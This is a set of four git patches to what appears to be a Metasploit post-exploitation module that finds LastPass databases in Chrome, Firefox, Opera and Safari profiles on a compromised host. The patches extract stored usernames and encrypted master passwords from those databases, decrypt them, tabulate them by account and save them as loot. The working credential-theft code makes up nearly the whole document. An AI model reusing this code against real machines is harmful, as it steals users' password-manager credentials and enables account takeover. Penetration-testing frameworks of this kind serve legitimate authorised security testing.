From 5a05246682409546dc569e01eaad6a96053a3d5a Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 19 Oct 2014 12:30:50 -0700 Subject: [PATCH 1/4] Consistent case in *print_* --- modules/post/multi/gather/lastpass_creds.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index fbc1c3eb9115..02eafbdd3635 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -145,7 +145,7 @@ def database_paths 'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" } else - print_error "platform not recognized: #{platform}" + print_error "Platform not recognized: #{platform}" end browser_path_map.each_pair do |browser, path| From 967800eed09f82bca52bdae67098e5e7d9c0a4b9 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 19 Oct 2014 12:59:51 -0700 Subject: [PATCH 2/4] Track account name for more useful table and prints --- modules/post/multi/gather/lastpass_creds.rb | 125 ++++++++++---------- 1 file changed, 63 insertions(+), 62 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 02eafbdd3635..301484d95819 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -36,54 +36,58 @@ def run print_status "Searching for LastPass databases..." - db_map = database_paths # Find databases and get the remote paths - if db_map.empty? + account_map = build_account_map + if account_map.empty? print_status "No databases found" return end - print_status "Extracting credentials from #{db_map.size} LastPass databases" + print_status "Extracting credentials from #{account_map.size} LastPass databases" # an array of [user, encrypted password, browser] credentials = [] # All credentials to be decrypted - db_map.each_pair do |browser, paths| - if browser == 'Firefox' - paths.each do |path| - data = read_file(path) - loot_path = store_loot( - 'firefox.preferences', - 'text/javascript', - session, - data, - nil, - "Firefox preferences file #{path}" - ) - - # Extract usernames and passwords from preference file - firefox_credentials(loot_path).each do |creds| - credentials << [URI.unescape(creds[0]), URI.unescape(creds[1]), browser] + account_map.each_pair do |account, browser_map| + browser_map.each_pair do |browser, paths| + if browser == 'Firefox' + paths.each do |path| + data = read_file(path) + loot_path = store_loot( + 'firefox.preferences', + 'text/javascript', + session, + data, + nil, + "Firefox preferences file #{path}" + ) + + # Extract usernames and passwords from preference file + firefox_credentials(loot_path).each do |creds| + credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])] + end + end + else # Chrome, Safari and Opera + paths.each do |path| + data = read_file(path) + loot_path = store_loot( + "#{browser.downcase}.lastpass.database", + 'application/x-sqlite3', + session, + data, + nil, + "#{account}'s #{browser} LastPass database #{path}" + ) + + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + lastpass_user, lastpass_pass = db.execute( + "SELECT username, password FROM LastPassSavedLogins2 " \ + "WHERE username IS NOT NULL AND username != '' " \ + "AND password IS NOT NULL AND password != '';" + ).flatten + if lastpass_user && lastpass_pass + credentials << [account, browser, lastpass_user, lastpass_pass] + end end - end - else # Chrome, Safari and Opera - paths.each do |path| - data = read_file(path) - loot_path = store_loot( - "#{browser.downcase}.lastpass.database", - 'application/x-sqlite3', - session, - data, - nil, - "#{browser} LastPass database #{path}" - ) - - # Parsing/Querying the DB - db = SQLite3::Database.new(loot_path) - user, pass = db.execute( - "SELECT username, password FROM LastPassSavedLogins2 " \ - "WHERE username IS NOT NULL AND username != '' " \ - "AND password IS NOT NULL AND password != '';" - ).flatten - credentials << [user, pass, browser] if user && pass end end end @@ -91,30 +95,23 @@ def run credentials_table = Rex::Ui::Text::Table.new( 'Header' => "LastPass credentials", 'Indent' => 1, - 'Columns' => %w(Username Password Browser) + 'Columns' => %w(Account Browser LastPass_Username LastPass_Password) ) # Parse and decrypt credentials credentials.each do |row| # Decrypt passwords - user, enc_pass, browser = row - vprint_status "Decrypting password for user #{user} from #{browser}..." + account, browser, user, enc_pass = row + vprint_status "Decrypting password for #{account}'s #{user} from #{browser}..." password = clear_text_password(user, enc_pass) - credentials_table << [user, password, browser] + credentials_table << [account, browser, user, password] end print_good credentials_table.to_s unless credentials.empty? end - # Finds the databases in the victim's machine - def database_paths + # Returns a mapping of { Account => { Browser => paths } } + def build_account_map platform = session.platform profiles = user_profiles - found_dbs_map = { - 'Chrome' => [], - 'Firefox' => [], - 'Opera' => [], - 'Safari' => [] - } - - browser_path_map = {} + found_dbs_map = {} if datastore['VERBOSE'] vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}" @@ -123,7 +120,9 @@ def database_paths end profiles.each do |user_profile| - username = user_profile['UserName'] + account = user_profile['UserName'] + browser_path_map = {} + case platform when /win/ browser_path_map = { @@ -148,27 +147,29 @@ def database_paths print_error "Platform not recognized: #{platform}" end + found_dbs_map[account] = {} browser_path_map.each_pair do |browser, path| - found_dbs_map[browser] |= find_db_paths(path, browser, username) + found_dbs_map[account][browser] = find_db_paths(path, browser, account) end end - found_dbs_map.delete_if { |browser, paths| paths.empty? } + #found_dbs_map.delete_if { |account, browser_map paths.empty? } + found_dbs_map end # Returns a list of DB paths found in the victims' machine - def find_db_paths(path, browser, username) + def find_db_paths(path, browser, account) paths = [] - vprint_status "Checking #{username}'s #{browser}..." + vprint_status "Checking #{account}'s #{browser}..." if browser == "Firefox" # Special case for Firefox profiles = firefox_profile_files(path, browser) paths |= profiles else - paths |= file_paths(path, browser, username) + paths |= file_paths(path, browser, account) end - vprint_good "Found #{paths.size} #{browser} databases for #{username}" + vprint_good "Found #{paths.size} #{browser} databases for #{account}" paths end @@ -205,7 +206,7 @@ def user_profiles end # Extracts the databases paths from the given folder ignoring . and .. - def file_paths(path, browser, username) + def file_paths(path, browser, account) found_dbs_paths = [] if directory?(path) From 0971d7c3ac3cc8e308b2d689335782d720c2fe65 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 19 Oct 2014 13:05:11 -0700 Subject: [PATCH 3/4] Remove ... from prints, only map a browser if we found something --- modules/post/multi/gather/lastpass_creds.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 301484d95819..82094c1cd583 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -34,7 +34,7 @@ def run return end - print_status "Searching for LastPass databases..." + print_status "Searching for LastPass databases" account_map = build_account_map if account_map.empty? @@ -100,7 +100,7 @@ def run # Parse and decrypt credentials credentials.each do |row| # Decrypt passwords account, browser, user, enc_pass = row - vprint_status "Decrypting password for #{account}'s #{user} from #{browser}..." + vprint_status "Decrypting password for #{account}'s #{user} from #{browser}" password = clear_text_password(user, enc_pass) credentials_table << [account, browser, user, password] end @@ -149,7 +149,8 @@ def build_account_map found_dbs_map[account] = {} browser_path_map.each_pair do |browser, path| - found_dbs_map[account][browser] = find_db_paths(path, browser, account) + db_paths = find_db_paths(path, browser, account) + found_dbs_map[account][browser] = db_paths unless db_paths.empty? end end @@ -161,7 +162,7 @@ def build_account_map def find_db_paths(path, browser, account) paths = [] - vprint_status "Checking #{account}'s #{browser}..." + vprint_status "Checking #{account}'s #{browser}" if browser == "Firefox" # Special case for Firefox profiles = firefox_profile_files(path, browser) paths |= profiles From 88c1647c80dbf114c85e3dea6f6c3ef287bb903d Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 19 Oct 2014 13:11:10 -0700 Subject: [PATCH 4/4] Loot the passwords, obviously --- modules/post/multi/gather/lastpass_creds.rb | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 82094c1cd583..539f50226271 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -104,7 +104,17 @@ def run password = clear_text_password(user, enc_pass) credentials_table << [account, browser, user, password] end - print_good credentials_table.to_s unless credentials.empty? + unless credentials.empty? + print_good credentials_table.to_s + path = store_loot( + "lastpass.creds", + "text/csv", + session, + credentials_table.to_csv, + nil, + "Decrypted LastPass Master Passwords" + ) + end end # Returns a mapping of { Account => { Browser => paths } }